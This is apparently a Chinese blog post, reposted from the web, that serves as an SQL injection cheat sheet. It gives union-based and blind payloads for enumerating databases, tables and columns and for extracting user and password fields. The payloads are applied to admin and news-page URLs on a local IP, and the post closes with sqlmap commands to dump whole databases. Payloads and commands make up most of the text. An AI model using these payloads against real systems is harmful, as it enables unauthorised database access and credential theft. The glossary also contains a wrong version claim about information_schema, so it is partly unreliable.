SQL注入的一些命令

手工注入

判断列数
1' order by 2#
1' union select 1,2# #从下图可以看出有2个回显

查询当前的数据库,以及版本

1' union select version(),database()#

获取数据库中的表

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users表名'#users是表名

获得字段中的数据

1' union select user, password from users#

把查询的name和passwod放到一列中显示
group_concat(name,password)


页面正常
http://192.168.1.3/admin/?do=editurrency&cid=1+order+by+5+--+
页面和前页面不一样,说明当前查询了5个字段。
http://192.168.1.3/admin/?do=editurrency&cid=1+order+by+6+--+
发现只留下2,4
http://192.168.1.3/admin/?do=editurrency&cid=1+union+select+1,2,3,4,5+--+
查询当前的用户和版本
http://192.168.1.3/admin/?do=editurrency&cid=1+union+select+1,user(),3,version(),5+--+
查询当前的所有数据库
http://192.168.1.3/admin/?do=editurrency&cid=1+union+select+1,group_con cat(schema_name),3,4,5+
from+information_schema.schemata+--+
盲注
1 or 1=1
1' or '1' =1
利用order by num 语句测试查询列表
1' order by 1 --
1' order by 2 --
1' order by 3 --
通过使用函数得到连接数据库的账户名
1' and 1=2 union select 1,2 --
1' and 1=2 union select user(),database() --
查看数据库版本信息
1' and 1=2 union select version(),database() --
查看操作系统信息
1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --
查看sql数据库
1' and 1=2 union select 1,schema_name from information_schema.schemata --
猜解数据库中的表名
1'and exists(select * from users) --
猜解字段名
1' and exists(select表名from users) --
1' and exists(select first_name from users) --
1' and exists(select last_name from users) --
sql注入-手工联合查询注入技术
http://192.168.1.3:8008/onews.asp?id=45 order by 11
http://192.168.1.3:8008/onews.asp?id=45 order by 12
http://192.168.1.3:8008/onews.asp?id=45 union select
1,2,3,4,5,6,7,8,9,10,11 from admin
http://192.168.1.3:8008/onews.asp?id=45 union select 1,
admin,password,4,5,6,7,8,9,10,11 from admin
测试存在sql注入
单引号闭合:
id=1' and '1'='1
三种注释
id=1'and 1=1-+
id=1'and 1=1%23
id=1'and 1=1-- -和 1--20%


schema_name 如果对象在 SQL Server 数据库中,则指定包含对象的架构的名称。 如果对象在链接服务器中,则 schema_name 将指定 OLE DB 架构名称 。

group_concat(str) 将获取到的内容合并成一行输出

concat_ws(str1,str2…) 合并输出查询的字段

table_name 具体的数据表

column_name 字段名

information_schema 自5.7及后的MySQL版本,都有了这个库,所有的表都会记录在这个数据库下

information_schema.tables 所有的数据表

information_schema.columns 所有的数据表中的字段

table_schema 数据库的名称

where 筛选指定内容

order by 判断有多少字段

database() 查看当前使用什么数据库

version() 查看当前使用什么版本的MySQL

@@datadir 查看当前MySQL的路径

@@version_compile_os 查看操作系统版本

limit 查询其它数据库或者表,列等名称
user() 查询当前用户权限

SQLmap的常用命令

sqlmap -r /home/Destop/1.txt  --dbs//爆库 数据包文件路径和名字 数据库类型

sqlmap -r /home/Destop/1.txt  --dbs//爆库
sqlmap -r /home/Destop/1.txt  -D 【数据库名】 --tables//爆表
sqlmap -r /home/Destop/1.txt  -D 【数据库名】 --T 【表名】 --columns//爆列
sqlmap -r /home/Destop/1.txt --level 5 --risk 3 -D 【数据库名】 --T 【表名】 -C 【列名,列名】--dump//爆值

转自网络

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Star1!ght

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值